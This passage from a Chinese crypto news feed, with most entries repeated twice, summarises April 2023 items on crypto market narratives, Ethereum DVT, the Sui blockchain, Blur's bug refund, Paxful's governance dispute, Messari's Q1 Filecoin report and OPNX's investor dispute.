质押启动等。5）链上国债。On-Chain Treasuries 是 DeFi 领域的新兴趋势，解决了在零利率环境下链上持有现金的机会成本问题。Ondo Finance 等协议提供了从 DeFi 内部访问代币化美国国债的方法，使得用户资产可以得到更高收益配置。 内容来源  ( 32 min )
    除了 Layer2，今年还有那些加密叙事？
    Chainfeeds 导读： 从历史来看，持续的加密货币牛市不仅仅是由 BTC 和 ETH 坊的上涨推动，也会由某些板块带动，例如 2020-2021 年的 DeFi/NFT 爆发热潮。白泽研究院作者陀螺 Tech 盘点了显示出进入主流市场的强烈迹象的板块。 文章来源： https://mp.weixin.qq.com/s/7YO1n6fr4BlQoszYq6YpCw 文章作者： 白泽研究院 观点： 白泽研究院：1）流动性质押衍生品（LSD）。数据显示，Lido 以太坊质押数量于 2022 年 9 月突破 400 万枚 ETH，2023 年 4 月突破 600 万枚 ETH，这意味着过去半年时间里质押量已增长超 50%。以太坊升级之后，随着 ETH 存款数量的增加，LSD 收入将会上涨。2）NFT-Fi。尽管 NFT 价格今年初仅小幅上涨，Nansen 的蓝筹 10 指数仅上涨了 8.5%，但这种 NFT-Fi 推动的流动性和杠杆增加应该会在长期内带来回报，因为这将导致资产类别市场结构成熟。随着用户对 JPEG 和游戏等替代用例的兴趣增加，NFT-Fi 应该会继续增长。 内容来源 白泽研究院：3）永续 DEX。尽管中心化交易所仍占据主导地位，但永续合约 DEX 在市场反弹时已经实现了显著增长。4）加密游戏。游戏 Token 表现优异，超过 ETH。游戏行业有许多积极的催化剂，如 Arbitrum Token 发行、Immutable 宣布 zkEVM、RON 质押启动等。5）链上国债。On-Chain Treasuries 是 DeFi 领域的新兴趋势，解决了在零利率环境下链上持有现金的机会成本问题。Ondo Finance 等协议提供了从 DeFi 内部访问代币化美国国债的方法，使得用户资产可以得到更高收益配置。 内容来源  ( 32 min )
    【英文长推】观点：DVT 是以太坊最被忽视的叙事之一
    Chainfeeds 导读： 加密货币 KOL Jason Choi 认为 DVT 是以太坊最被忽视的叙事之一，并从解决的问题、愿景、相关项目等方面介绍了 DVT。 文章来源： https://twitter.com/mrjasonchoi/status/1649401355784826881 文章作者： Jason Choi 观点： Jason Choi：现在，随着合并和 Shapella 的完成，以太坊作为 PoS 网络的愿景得以实现。目前持有者可以通过以下 4 种主要方式抵押他们的 ETH：Staking-as-a-Service、Pooled Staking 和 CEX 控制的质押。虽然这些服务中有些确实是比其他服务更去中心化，但客户端多样性仍然是一个没有解决的问题。【原文为英文】 内容来源 Jason Choi：在 2021 年 4 月，Prysm 客户端中出现了一个错误，导致 70% 的区块在 2 个小时内丢失。基于此类问题，Vitalik Buterin 提议使用 DVT（分布式验证技术），核心思想是通过几种加密技术来分配验证器节点的工作。一些项目正在开发来实现这一愿景。目前唯一一个有代币的项目是 SSV。【原文为英文】 内容来源  ( 2 min )
    【英文长推】观点：DVT 是以太坊最被忽视的叙事之一
    Chainfeeds 导读： 加密货币 KOL Jason Choi 认为 DVT 是以太坊最被忽视的叙事之一，并从解决的问题、愿景、相关项目等方面介绍了 DVT。 文章来源： https://twitter.com/mrjasonchoi/status/1649401355784826881 文章作者： Jason Choi 观点： Jason Choi：现在，随着合并和 Shapella 的完成，以太坊作为 PoS 网络的愿景得以实现。目前持有者可以通过以下 4 种主要方式抵押他们的 ETH：Staking-as-a-Service、Pooled Staking 和 CEX 控制的质押。虽然这些服务中有些确实是比其他服务更去中心化，但客户端多样性仍然是一个没有解决的问题。【原文为英文】 内容来源 Jason Choi：在 2021 年 4 月，Prysm 客户端中出现了一个错误，导致 70% 的区块在 2 个小时内丢失。基于此类问题，Vitalik Buterin 提议使用 DVT（分布式验证技术），核心思想是通过几种加密技术来分配验证器节点的工作。一些项目正在开发来实现这一愿景。目前唯一一个有代币的项目是 SSV。【原文为英文】 内容来源  ( 2 min )
    【长推】基于 Move 语言的 Layer1 的新公链：Sui
    Chainfeeds 导读： Sui 是一条基于 Move 语言的 Layer1 的新公链，区别于传统的顺序执行，Sui 其最大的亮点在于实现了并行交易执行，从而导致了更小的延迟和更高的吞吐量。加密货币 KOL Fred Li 从团队背景、核心优势、对比 Aptos 等角度介绍了此项目。 文章来源： https://twitter.com/dacongfred/status/1649790336569339905 文章作者： Fred Li 观点： Fred Li：Sui 究竟有哪些核心优势呢？1）Sui Move 语言的安全性。Sui Move 语言相对于 Solidity 更安全。Sui Move 在 Move 的基础上进行了修改，将资源存储在 Sui 链上，并赋予对象全局唯一 ID 以增强安全性和灵活性。2）区分交易类型提效：Sui 区分了简单交易和复杂交易，对于只需要更新资金的所有者的简单交易基于拜占庭广播，从而提高速度和效率；而复杂交易则通过 2 次共识 Narwhal 和 Bullshark 完成交易。3）独创共识机制实现并行交易。Sui 采用基于 DAG 的拜占庭容错 Narwhal 和 Bullshark 实现 DPoS 共识机制，可以并行处理交易，解决了传统拜占庭容错共识中算力浪费的问题。 内容来源 Fred Li：与 Aptos 相比：1）从语言的角度来看，Sui Move 是以对象为中心的模型，Sui 上的资产、智能合约、NFT 等交易是改变该资源的所属者，只需更新一次数据，更加安全； 而 Aptos 使用的 Move 以地址为中心模型，资产的转换需修改发送和接受地址上的数据，要更新两次数据。 内容来源 Fred Li：2）从共识层面来看，Sui 和 Aptos 都是并行处理。其中基于 DAG 的 Sui 使用 Narwhal 和 Bullshark，因果顺序的共识可以快速决定大部分交易的共识；Aptos 则是将验证的每个步骤独立分开和并行运行，整个 Aptos 的共识流程更贴近传统区块链架构。3）生态布局方面，Aptos 的生态起步更早，在市场营销和造势方面也显著的快于 Sui，在生态布局上占据了领先的位置，不过其早期出现的大量项目 rug 的现象，也给很多人打下了疑问。Sui 的生态起步较晚，未来生态发展，还处于蓄势待发的状态。 内容来源  ( 2 min )
    【长推】基于 Move 语言的 Layer1 的新公链：Sui
    Chainfeeds 导读： Sui 是一条基于 Move 语言的 Layer1 的新公链，区别于传统的顺序执行，Sui 其最大的亮点在于实现了并行交易执行，从而导致了更小的延迟和更高的吞吐量。加密货币 KOL Fred Li 从团队背景、核心优势、对比 Aptos 等角度介绍了此项目。 文章来源： https://twitter.com/dacongfred/status/1649790336569339905 文章作者： Fred Li 观点： Fred Li：Sui 究竟有哪些核心优势呢？1）Sui Move 语言的安全性。Sui Move 语言相对于 Solidity 更安全。Sui Move 在 Move 的基础上进行了修改，将资源存储在 Sui 链上，并赋予对象全局唯一 ID 以增强安全性和灵活性。2）区分交易类型提效：Sui 区分了简单交易和复杂交易，对于只需要更新资金的所有者的简单交易基于拜占庭广播，从而提高速度和效率；而复杂交易则通过 2 次共识 Narwhal 和 Bullshark 完成交易。3）独创共识机制实现并行交易。Sui 采用基于 DAG 的拜占庭容错 Narwhal 和 Bullshark 实现 DPoS 共识机制，可以并行处理交易，解决了传统拜占庭容错共识中算力浪费的问题。 内容来源 Fred Li：与 Aptos 相比：1）从语言的角度来看，Sui Move 是以对象为中心的模型，Sui 上的资产、智能合约、NFT 等交易是改变该资源的所属者，只需更新一次数据，更加安全； 而 Aptos 使用的 Move 以地址为中心模型，资产的转换需修改发送和接受地址上的数据，要更新两次数据。 内容来源 Fred Li：2）从共识层面来看，Sui 和 Aptos 都是并行处理。其中基于 DAG 的 Sui 使用 Narwhal 和 Bullshark，因果顺序的共识可以快速决定大部分交易的共识；Aptos 则是将验证的每个步骤独立分开和并行运行，整个 Aptos 的共识流程更贴近传统区块链架构。3）生态布局方面，Aptos 的生态起步更早，在市场营销和造势方面也显著的快于 Sui，在生态布局上占据了领先的位置，不过其早期出现的大量项目 rug 的现象，也给很多人打下了疑问。Sui 的生态起步较晚，未来生态发展，还处于蓄势待发的状态。 内容来源  ( 2 min )
    Blur 创始人：「接受挂单价」功能已重新启用，将向受影响的交易者予以退款补偿
    Blur 创始人：「接受挂单价」功能已重新启用，将向受影响的交易者予以退款补偿 Blur 创始人 Pacman 发推表示，北京时间 4 月 22 日 11:00 左右，Blur 在消息处理中检测到一个错误，该错误影响了过去 80 小时内取消的一些出价。在检测到漏洞后，团队立即禁用「接受挂单价」功能。在 30 分钟的时间里，有 36 个受影响的挂单价被接受。目前 Blur 修复了这个问题，并在北京时间 4 月 22 日 14:05 启用此功能。在启用前，任何高于地板价的当前挂单价都将被自动取消。 除了修复导致这一问题的漏洞外，团队还实施了两个额外的冗余安全检查，以确保此问题不会再次发生。所有受影响的挂单价被接受的交易者将被获得其出价与当时适当的最高出价之间差价的 2 倍退款。例如，如果最高出价是 14.5 ETH，而受影响的挂单价以 15.5 ETH 被接受，Blur 将退还 2 ETH。受影响的交易者无需出售其 NFT 即可获得退款。Blur 将在接下来的 24 小时内自动发送。 内容来源  ( 2 min )
    Blur 创始人：「接受挂单价」功能已重新启用，将向受影响的交易者予以退款补偿
    Blur 创始人：「接受挂单价」功能已重新启用，将向受影响的交易者予以退款补偿 Blur 创始人 Pacman 发推表示，北京时间 4 月 22 日 11:00 左右，Blur 在消息处理中检测到一个错误，该错误影响了过去 80 小时内取消的一些出价。在检测到漏洞后，团队立即禁用「接受挂单价」功能。在 30 分钟的时间里，有 36 个受影响的挂单价被接受。目前 Blur 修复了这个问题，并在北京时间 4 月 22 日 14:05 启用此功能。在启用前，任何高于地板价的当前挂单价都将被自动取消。 除了修复导致这一问题的漏洞外，团队还实施了两个额外的冗余安全检查，以确保此问题不会再次发生。所有受影响的挂单价被接受的交易者将被获得其出价与当时适当的最高出价之间差价的 2 倍退款。例如，如果最高出价是 14.5 ETH，而受影响的挂单价以 15.5 ETH 被接受，Blur 将退还 2 ETH。受影响的交易者无需出售其 NFT 即可获得退款。Blur 将在接下来的 24 小时内自动发送。 内容来源  ( 2 min )

  • Open

    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.22）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.22）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    Paxful前CEO Ray Youssef承诺用个人股份创建公共信托基金，以保障用户利益
    PANews 4月22日消息，据Cryptoslate报道，此前卸任Paxful CEO的Ray Youssef表示：”通过公共信托，我仍将保留我的董事会投票权，并将继续让Paxful对用户的最佳利益负责。“Ray Youssef的目标是Paxful Wallet至少保持运行两年，这样Paxful可以将所有被冻结的资金从平台上拿出来，并给用户时间来取回它们。 据悉，由于Ray Youssef和联合创始人在公司的发展方向上陷入僵局，双方已经同意由律所Richards, Layton & Finger的Srinivas Raju（由法院命令任命）在整个过程中担任Paxful的托管人。Raju现在对公司的运营和管理拥有完全的权力和控制权，将努力稳定Paxful，同时准备向法院提出有关该业务如何进行的建议。 此前消息，Ray Youssef在卸任Paxful CEO前解冻88%的冻结账户，Paxful或将继续运营  ( 1 min )
    Paxful前CEO Ray Youssef承诺用个人股份创建公共信托基金，以保障用户利益
    PANews 4月22日消息，据Cryptoslate报道，此前卸任Paxful CEO的Ray Youssef表示：”通过公共信托，我仍将保留我的董事会投票权，并将继续让Paxful对用户的最佳利益负责。“Ray Youssef的目标是Paxful Wallet至少保持运行两年，这样Paxful可以将所有被冻结的资金从平台上拿出来，并给用户时间来取回它们。 据悉，由于Ray Youssef和联合创始人在公司的发展方向上陷入僵局，双方已经同意由律所Richards, Layton & Finger的Srinivas Raju（由法院命令任命）在整个过程中担任Paxful的托管人。Raju现在对公司的运营和管理拥有完全的权力和控制权，将努力稳定Paxful，同时准备向法院提出有关该业务如何进行的建议。 此前消息，Ray Youssef在卸任Paxful CEO前解冻88%的冻结账户，Paxful或将继续运营  ( 1 min )
    Messari一季度Filecoin报告：存储容量同比下降13%，费用收入增加5%
    作者：Messari 编译：Filecoin Network Filecoin存储市场在2023年第一季度持续增长，活跃存储交易提议比去年同期增长75%。 存储容量比去年同期下降13%，而存储利用率比去年同期上升105%。 费用收入在2023年第一季度增加5% （美元计价增长21%)，这是由比去年同期增加14%的新增存储交易提议带来的。 Filecoin虚拟机发布将以太坊式的智能合约带到了Filecoin，将促进包括DeFi、永续存储和分布式计算等领域的新用例。 依赖于中心化数据存储有一个严重问题：就是很难系统性验证存储数据的完整性。如今，Filecoin网络已经是亚马逊S3云服务的点对点版本了。它是在星际文件系统(IPFS)之上搭建的，后者作为Filecoin网络的分布式数据存储和分享层。Filecoin会定期验证数据存储有效性，还使用了基于动态供需关系定价的存储交易提议deals（而不是固定价格策略）。 一项存储交易提议就如带有服务等级协议(SLA)的合约——用户向存储提供者支付费用来在指定周期存储数据。为了保证数据安全，Filecoin使用了加密经济学激励模型来定期用零知识证明来验证存储。为了激励存储提供者参与这些存储交易提议，Filecoin会以网络的原生token FIL作为奖励。如果存储提供者无法提供可靠的在线时间或对网络作恶，还会受到惩罚（slashed）。 为了检索数据，Filecoin用户会向检索提供者支付费用来获取数据。与存储交易提议的链上交易方式不同，检索交易提议会链下结算费用，这样检索速度会更快。 2023年3月发布的Filecoin虚拟机将以太坊的智能合约带到了Filecoin，将促进包括DeFi、永续存储和分布式计算等领域的新用例。 表现分析 Filecoin区块链被网络的需求端（如需要存储数据的用户）和供应端（如可提供多余空间的存储提供者）同时使用。它们都会为这个协议带来收入。 Filecoin收入框架与以太坊的很相似，因为它的gas体系是基于EIP-1559改进提议。这个gas体系由网络费用组成，它们会被燃烧来补偿系统资源的使用。 根据Messari的 收入分析，Filecoin的协议收入包括以下的总和： 基础费用（Base fees）——取决于消息堵塞状况，任何存储证明都需要用到。 批量费用（Batch fees）——批量打包存储证明时使用。 超量费（Overestimation fees）——用于优化gas使用。 罚款费（Penalty fees）——在存储提供者失效时罚款。 FIL费用协议收入在2023年第一季度增长了5%，达到130万FIL（美元计价增长21%到690万美元）。虽然FIL基础费用比去年同期增长20%，但惩罚费用比去年同期下降17%。即便这样，惩罚费用还是比2022年第二和第三季度高两倍。这可能是由早期终止扇区的行为引起的——或许是因为FIL/USD价格的变动，影响存储提供者的可盈利性。 FIL费用唯一不会被协议燃烧的部分是由区块挖掘者收取的“tip”费用。这个机制用于在网络的供应端加速交易。因此，“tip”费用可视为供应端收入。 Filecoin的供应端收入包括： 在2023年第一季度，区块奖励构成了99.9%以上的供应端收入，而“tips”只占很小一部分。新FIL token的铸造机制依赖于以下两项： 这两种模式的结合有助于在网络早期的区块奖励分发阶段结束后继续维持参与度（参见指数衰减模式）。它还有助于持续奖励由网络存储容量增加而给网络带来的额外价值（参见基线模式）。 在2023年第一季度，供应端的收入下降了5%，为 1890万FIL（美元计价则上涨12%）。这样的下降，与指数衰减模式和基线铸造模式所带来的整体FIL奖励发行量减少有关。 存储用户和存储提供者之间达成的活跃存储交易提议所存储的数据，能够衡量来自Web2和Web3客户带来的Filecoin存储需求。 近乎于0的存储费用可能进一步鼓励了人们通过Filecoin存储交易提议处理的数据。在2023年第一季度，平均有近581 PiB的数据通过活跃存储交易提议而存储在Filecoin网络上，比去年同期增长75%。 2023第一季度，每日的存储交易提议数量增长了14%，主要由于Filecoin Plus (Fil+)计划向参与验证提议（verified deal）的存储提供者发放更高的奖励。这个新动态鼓励使用真实数据来建立新的存储交易提议，防止滥用网络的奖励机制。它也让存储提供者之间互相竞争，降低费用。 在2022年第二季度达到新高后，Filecoin平均原始字节存储容量比去年同期下降了13%, 在2022年第三季度保持稳定。同时，在2023年第一季度，存储利用率相对于总可用存储容量来说，比去年同期上升了4%，达到105%。 IPFS网关请求可作为Filecoin检索的指标，因为Filecoin的大多数开发者存储工具让数据检索对整个IPFS网络都是可用的。 在检索请求的数量上，2023年第一季度相对于2022年第四季度有7%的下降，但这个水平依然比2022年第三季度高27%. 检索请求数量可作为衡量使用IPFS来进行检索的指标。通过检索市场的持续开发，除了IPFS网关外，还会有更多的新指标来涵盖不同类型的检索请求。 2023年3月14日，Filecoin虚拟机（FVM）上线了，它为 Filecoin带来了智能合约。截止2023年3月31日，有 440多个不同的合约已经进行了部署，产生了将近 44,000笔交易。FVM让任何类型的dapp应用都能部署在Filecoin上，这包括了DeFi、永续存储和分布式计算应用。Messari的Filecoin 2023年第二季度报告将会详细讲述自FVM虚拟机上线后的一些关键表现数据。 随着Filecoin持续获取新用户和新增有价值数据集，它可能会作为基础，来开发由FVM虚拟机赋能、围绕未来数据价值变现的应用。此外，由于FVM虚拟机兼容以太坊，现有的以太坊应用可以在不进行显著代码更改的情况下，将可以引进到Filecoin网络上。 Filecoin生态一直在积极吸引开发者和建造者。它定期参与到诸如黑客松、加速器、赞助计划、导师计划和增长支持之类的活动里。这些计划之外帮助早期项目和团队成长，让其有望收到来自协议实验室或其关联实体的资金支持。这个生态协力引入多样的用例：从数据基础设施、流媒体、元宇宙到游戏。 截至2023年3月，有484个项目正在Filecoin、IPFS和协议实验室网络生态系统开发，比2022年10月顶峰的632个项目有所下降。 2022年Filecoin生态投入了1700万美元的赞助计划资金，不过相关赞助项目主要围绕2023年第一季度促进FVM虚拟机落地的几个核心计划上。因此，符合资格的早期应用从2022年10月顶峰时的258个下降到2023年3月的62个。与此同时，2023年3月有211个项目是来自加速器的，比2022年12月的194个有所提升。这些赞助计划将会是驱动生态增长不可缺少的一环。 下面是一些利用Filecoin提供数据服务的应用和协议： 媒体和娱乐相关协议包括： 旨在利用Filecoin基础设施来驱动特定领域数据需求的用例： 随着开发者在网络上搭建应用和从外部整合，FVM虚拟机的上线将可能为Filecoin生态带来显著增长。 Filecoin虚拟机 (FVM) 随着 V18 Hygge网络升级在Filecoin主网部署Filecoin EVM虚拟机运行时，FVM虚拟机完成了其渐进式上线。 FVM让开发者可以轻松开发和部署Solidity智能合约。这个整合方案为FVM虚拟机带来了兼容Web3而基于WASM的Filecoin Actor合约系统，让其可以与其他区块链网络和应用互动。 除了带来以太坊兼容性外，FVM虚拟机还利用Filecoin网络原生token (FIL) 作为 gas费用 和执行智能合约，还支持Filecoin改进提议 (FIPs)，它可为平台带来新特性和优化项。 补丁发布 Venus v1.10系列和Lotus V1.20系列都是升级补丁，可解决V18网络升级后用户反馈的性能问题。 FVM虚拟机 发布事件 FVM虚拟机的发布是在2023年3月14日，它包括了Filecoin主计划的概览、长期机会和解锁的用例，以及FVM虚拟机如何能升级Web3能力。FVM虚拟机的发布视频可查看这里。 FVM虚拟机测试和审计 Filecoin基金会宣布了一个名为FVM虚拟机防弹行动（Bulletproofing Initiative）的漏洞赏金计划，来测试和审计FVM虚拟机、其EVM运行时和其他组件。相关奖项是价值$100,000的FIL tokens. 它旨在寻找WASM、Rust、EVM和Web3安全的专家们。 FVM Space Warp黑客松 Filecoin举办了其虚拟的FVM Space Warp黑客松 ，奖项高达$125,000. 虚拟活动有Lighthouse.Storage、Fission 和 Zondax 亮相。Filecoin还举办了头脑风暴和信息环节，旨在让人们了解FVM虚拟机和进行编程。评委、演讲嘉宾和导师包括了来自Secured Finance、Zondax和Multicoin等项目的成员。 FILVC FILVC 活动将25家Web3初创企业带到了一起，在800多个投资者面前展示自己的项目。选中的初创企业主要关注开发框架、身份解决方案、资产许可、数据平台和流水线、端到端加密和分布式计算等。 路线图 2023年第二季度路线图包括以下FIP改进提议里涵盖的几个网络改进计划： FIP-0052: 将最长区块承诺延长到3.5年。 FIP-0057: 为FEVM虚拟机升级gas收费计划和系统限制。 FIP-0060: 将市场交易提议维护周期设置为30。 FIP-0061: WindowPoST Grindability修复。 FIP-0062: 为多签和支付通道合约设计的回退方法处理机制。 接下来的长期改进计划包括L2层能力、 层级化共识和 封装即服务。通过FVM虚拟机， Filecoin旨在搭建新的合作关系，强化现有关系，来更好促进数据基础设施社区的产品增长。 Filecoin上的存储用例2023年第一季度有加速增长，活跃存储交易提议比上年同期增长75%。虽然存储容量比去年同期下降13%，但存储利用率增长了105%。同时，FIL费用收入在2023年第一季度增长5%（美元计价增长21%），这是由新增存储交易提议比去年同期上升14%带来的。 虽然分布式存储还处于早期发展阶段，不过Filecoin虚拟机的成功落地可能会让下一代应用在存储之外发挥作用。其中一些典型例子包括永续存储（与Arweave类似）、向存储提供者发放的低抵押贷款和分布式计算。如果Filecoin继续带来需求，将有望成为分布式存储和云服务的重要提供者，为Web3和传统应用提供服务。  ( 3 min )
    Messari一季度Filecoin报告：存储容量同比下降13%，费用收入增加5%
    作者：Messari 编译：Filecoin Network Filecoin存储市场在2023年第一季度持续增长，活跃存储交易提议比去年同期增长75%。 存储容量比去年同期下降13%，而存储利用率比去年同期上升105%。 费用收入在2023年第一季度增加5% （美元计价增长21%)，这是由比去年同期增加14%的新增存储交易提议带来的。 Filecoin虚拟机发布将以太坊式的智能合约带到了Filecoin，将促进包括DeFi、永续存储和分布式计算等领域的新用例。 依赖于中心化数据存储有一个严重问题：就是很难系统性验证存储数据的完整性。如今，Filecoin网络已经是亚马逊S3云服务的点对点版本了。它是在星际文件系统(IPFS)之上搭建的，后者作为Filecoin网络的分布式数据存储和分享层。Filecoin会定期验证数据存储有效性，还使用了基于动态供需关系定价的存储交易提议deals（而不是固定价格策略）。 一项存储交易提议就如带有服务等级协议(SLA)的合约——用户向存储提供者支付费用来在指定周期存储数据。为了保证数据安全，Filecoin使用了加密经济学激励模型来定期用零知识证明来验证存储。为了激励存储提供者参与这些存储交易提议，Filecoin会以网络的原生token FIL作为奖励。如果存储提供者无法提供可靠的在线时间或对网络作恶，还会受到惩罚（slashed）。 为了检索数据，Filecoin用户会向检索提供者支付费用来获取数据。与存储交易提议的链上交易方式不同，检索交易提议会链下结算费用，这样检索速度会更快。 2023年3月发布的Filecoin虚拟机将以太坊的智能合约带到了Filecoin，将促进包括DeFi、永续存储和分布式计算等领域的新用例。 表现分析 Filecoin区块链被网络的需求端（如需要存储数据的用户）和供应端（如可提供多余空间的存储提供者）同时使用。它们都会为这个协议带来收入。 Filecoin收入框架与以太坊的很相似，因为它的gas体系是基于EIP-1559改进提议。这个gas体系由网络费用组成，它们会被燃烧来补偿系统资源的使用。 根据Messari的 收入分析，Filecoin的协议收入包括以下的总和： 基础费用（Base fees）——取决于消息堵塞状况，任何存储证明都需要用到。 批量费用（Batch fees）——批量打包存储证明时使用。 超量费（Overestimation fees）——用于优化gas使用。 罚款费（Penalty fees）——在存储提供者失效时罚款。 FIL费用协议收入在2023年第一季度增长了5%，达到130万FIL（美元计价增长21%到690万美元）。虽然FIL基础费用比去年同期增长20%，但惩罚费用比去年同期下降17%。即便这样，惩罚费用还是比2022年第二和第三季度高两倍。这可能是由早期终止扇区的行为引起的——或许是因为FIL/USD价格的变动，影响存储提供者的可盈利性。 FIL费用唯一不会被协议燃烧的部分是由区块挖掘者收取的“tip”费用。这个机制用于在网络的供应端加速交易。因此，“tip”费用可视为供应端收入。 Filecoin的供应端收入包括： 在2023年第一季度，区块奖励构成了99.9%以上的供应端收入，而“tips”只占很小一部分。新FIL token的铸造机制依赖于以下两项： 这两种模式的结合有助于在网络早期的区块奖励分发阶段结束后继续维持参与度（参见指数衰减模式）。它还有助于持续奖励由网络存储容量增加而给网络带来的额外价值（参见基线模式）。 在2023年第一季度，供应端的收入下降了5%，为 1890万FIL（美元计价则上涨12%）。这样的下降，与指数衰减模式和基线铸造模式所带来的整体FIL奖励发行量减少有关。 存储用户和存储提供者之间达成的活跃存储交易提议所存储的数据，能够衡量来自Web2和Web3客户带来的Filecoin存储需求。 近乎于0的存储费用可能进一步鼓励了人们通过Filecoin存储交易提议处理的数据。在2023年第一季度，平均有近581 PiB的数据通过活跃存储交易提议而存储在Filecoin网络上，比去年同期增长75%。 2023第一季度，每日的存储交易提议数量增长了14%，主要由于Filecoin Plus (Fil+)计划向参与验证提议（verified deal）的存储提供者发放更高的奖励。这个新动态鼓励使用真实数据来建立新的存储交易提议，防止滥用网络的奖励机制。它也让存储提供者之间互相竞争，降低费用。 在2022年第二季度达到新高后，Filecoin平均原始字节存储容量比去年同期下降了13%, 在2022年第三季度保持稳定。同时，在2023年第一季度，存储利用率相对于总可用存储容量来说，比去年同期上升了4%，达到105%。 IPFS网关请求可作为Filecoin检索的指标，因为Filecoin的大多数开发者存储工具让数据检索对整个IPFS网络都是可用的。 在检索请求的数量上，2023年第一季度相对于2022年第四季度有7%的下降，但这个水平依然比2022年第三季度高27%. 检索请求数量可作为衡量使用IPFS来进行检索的指标。通过检索市场的持续开发，除了IPFS网关外，还会有更多的新指标来涵盖不同类型的检索请求。 2023年3月14日，Filecoin虚拟机（FVM）上线了，它为 Filecoin带来了智能合约。截止2023年3月31日，有 440多个不同的合约已经进行了部署，产生了将近 44,000笔交易。FVM让任何类型的dapp应用都能部署在Filecoin上，这包括了DeFi、永续存储和分布式计算应用。Messari的Filecoin 2023年第二季度报告将会详细讲述自FVM虚拟机上线后的一些关键表现数据。 随着Filecoin持续获取新用户和新增有价值数据集，它可能会作为基础，来开发由FVM虚拟机赋能、围绕未来数据价值变现的应用。此外，由于FVM虚拟机兼容以太坊，现有的以太坊应用可以在不进行显著代码更改的情况下，将可以引进到Filecoin网络上。 Filecoin生态一直在积极吸引开发者和建造者。它定期参与到诸如黑客松、加速器、赞助计划、导师计划和增长支持之类的活动里。这些计划之外帮助早期项目和团队成长，让其有望收到来自协议实验室或其关联实体的资金支持。这个生态协力引入多样的用例：从数据基础设施、流媒体、元宇宙到游戏。 截至2023年3月，有484个项目正在Filecoin、IPFS和协议实验室网络生态系统开发，比2022年10月顶峰的632个项目有所下降。 2022年Filecoin生态投入了1700万美元的赞助计划资金，不过相关赞助项目主要围绕2023年第一季度促进FVM虚拟机落地的几个核心计划上。因此，符合资格的早期应用从2022年10月顶峰时的258个下降到2023年3月的62个。与此同时，2023年3月有211个项目是来自加速器的，比2022年12月的194个有所提升。这些赞助计划将会是驱动生态增长不可缺少的一环。 下面是一些利用Filecoin提供数据服务的应用和协议： 媒体和娱乐相关协议包括： 旨在利用Filecoin基础设施来驱动特定领域数据需求的用例： 随着开发者在网络上搭建应用和从外部整合，FVM虚拟机的上线将可能为Filecoin生态带来显著增长。 Filecoin虚拟机 (FVM) 随着 V18 Hygge网络升级在Filecoin主网部署Filecoin EVM虚拟机运行时，FVM虚拟机完成了其渐进式上线。 FVM让开发者可以轻松开发和部署Solidity智能合约。这个整合方案为FVM虚拟机带来了兼容Web3而基于WASM的Filecoin Actor合约系统，让其可以与其他区块链网络和应用互动。 除了带来以太坊兼容性外，FVM虚拟机还利用Filecoin网络原生token (FIL) 作为 gas费用 和执行智能合约，还支持Filecoin改进提议 (FIPs)，它可为平台带来新特性和优化项。 补丁发布 Venus v1.10系列和Lotus V1.20系列都是升级补丁，可解决V18网络升级后用户反馈的性能问题。 FVM虚拟机 发布事件 FVM虚拟机的发布是在2023年3月14日，它包括了Filecoin主计划的概览、长期机会和解锁的用例，以及FVM虚拟机如何能升级Web3能力。FVM虚拟机的发布视频可查看这里。 FVM虚拟机测试和审计 Filecoin基金会宣布了一个名为FVM虚拟机防弹行动（Bulletproofing Initiative）的漏洞赏金计划，来测试和审计FVM虚拟机、其EVM运行时和其他组件。相关奖项是价值$100,000的FIL tokens. 它旨在寻找WASM、Rust、EVM和Web3安全的专家们。 FVM Space Warp黑客松 Filecoin举办了其虚拟的FVM Space Warp黑客松 ，奖项高达$125,000. 虚拟活动有Lighthouse.Storage、Fission 和 Zondax 亮相。Filecoin还举办了头脑风暴和信息环节，旨在让人们了解FVM虚拟机和进行编程。评委、演讲嘉宾和导师包括了来自Secured Finance、Zondax和Multicoin等项目的成员。 FILVC FILVC 活动将25家Web3初创企业带到了一起，在800多个投资者面前展示自己的项目。选中的初创企业主要关注开发框架、身份解决方案、资产许可、数据平台和流水线、端到端加密和分布式计算等。 路线图 2023年第二季度路线图包括以下FIP改进提议里涵盖的几个网络改进计划： FIP-0052: 将最长区块承诺延长到3.5年。 FIP-0057: 为FEVM虚拟机升级gas收费计划和系统限制。 FIP-0060: 将市场交易提议维护周期设置为30。 FIP-0061: WindowPoST Grindability修复。 FIP-0062: 为多签和支付通道合约设计的回退方法处理机制。 接下来的长期改进计划包括L2层能力、 层级化共识和 封装即服务。通过FVM虚拟机， Filecoin旨在搭建新的合作关系，强化现有关系，来更好促进数据基础设施社区的产品增长。 Filecoin上的存储用例2023年第一季度有加速增长，活跃存储交易提议比上年同期增长75%。虽然存储容量比去年同期下降13%，但存储利用率增长了105%。同时，FIL费用收入在2023年第一季度增长5%（美元计价增长21%），这是由新增存储交易提议比去年同期上升14%带来的。 虽然分布式存储还处于早期发展阶段，不过Filecoin虚拟机的成功落地可能会让下一代应用在存储之外发挥作用。其中一些典型例子包括永续存储（与Arweave类似）、向存储提供者发放的低抵押贷款和分布式计算。如果Filecoin继续带来需求，将有望成为分布式存储和云服务的重要提供者，为Web3和传统应用提供服务。  ( 3 min )
    OPNX回应众机构：对其虚假陈述感到失望，未来不希望他们作为OPNX的投资者
    PANews 4月22日消息，针对多家机构否认投资OPNX一事，OPNX在推特上回应称：“OPNX的核心价值观是透明度，所以我们披露了机构支持者和关键战略合作伙伴。而公司在寻求经济利益的同时，又害怕来自舆论的反对压力而否认存在关联，这很难看。如果任何一方在致力于透明度和行业发展方面动摇了，那么我们对他们的虚假陈述表示失望，并希望未来不要让他们作为投资者。” 此前消息，DRW、Nascent、MIAX和Susquehanna等多家公司否认投资OPNX  ( 1 min )
    OPNX回应众机构：对其虚假陈述感到失望，未来不希望他们作为OPNX的投资者
